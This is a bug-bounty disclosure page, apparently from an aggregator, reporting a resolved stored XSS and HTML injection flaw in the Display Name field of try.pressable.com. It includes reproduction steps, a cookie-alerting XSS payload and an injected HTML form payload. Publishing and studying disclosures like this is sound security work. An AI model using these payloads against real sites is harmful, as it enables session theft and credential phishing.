Loading HuntDB...

Site information's Display Name section vulnerable for XSS attacks and HTML Injections.

Low
A
Automattic
Submitted None
Reported by sawrav-chowdhury

Vulnerability Details

Technical details and impact analysis

Cross-site Scripting (XSS) - Stored
## Summary: Hi, Greetings. I have found that site information's Display Name section on the try.pressable.com is vulnerable for potential XSS attacks and HTML Injections. ## Steps To Reproduce: 1. Visit https://try.pressable.com 2. Create a new site. 3. On the Display Name section, put the XSS / HTML Injection payloads. 4. XSS will be triggered/ Injected HTML will be reflected. XSS Payload: "><img src=x onerror=blocked:alert(document.cookie)> HTML Payload: <form action="/action_page.php"> <label for="fname">First name:</label> <input type="text" id="fname" name="fname"><br><br> <label for="lname">Last name:</label> <input type="text" id="lname" name="lname"><br><br> <input type="submit" value="Submit"> </form> ## Supporting Material/References: POC Video attached ## Impact Due to these vulnerabilities, attacker can easily divert victims to their malicious site and able to get credentials of victims.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Cross-site Scripting (XSS) - Stored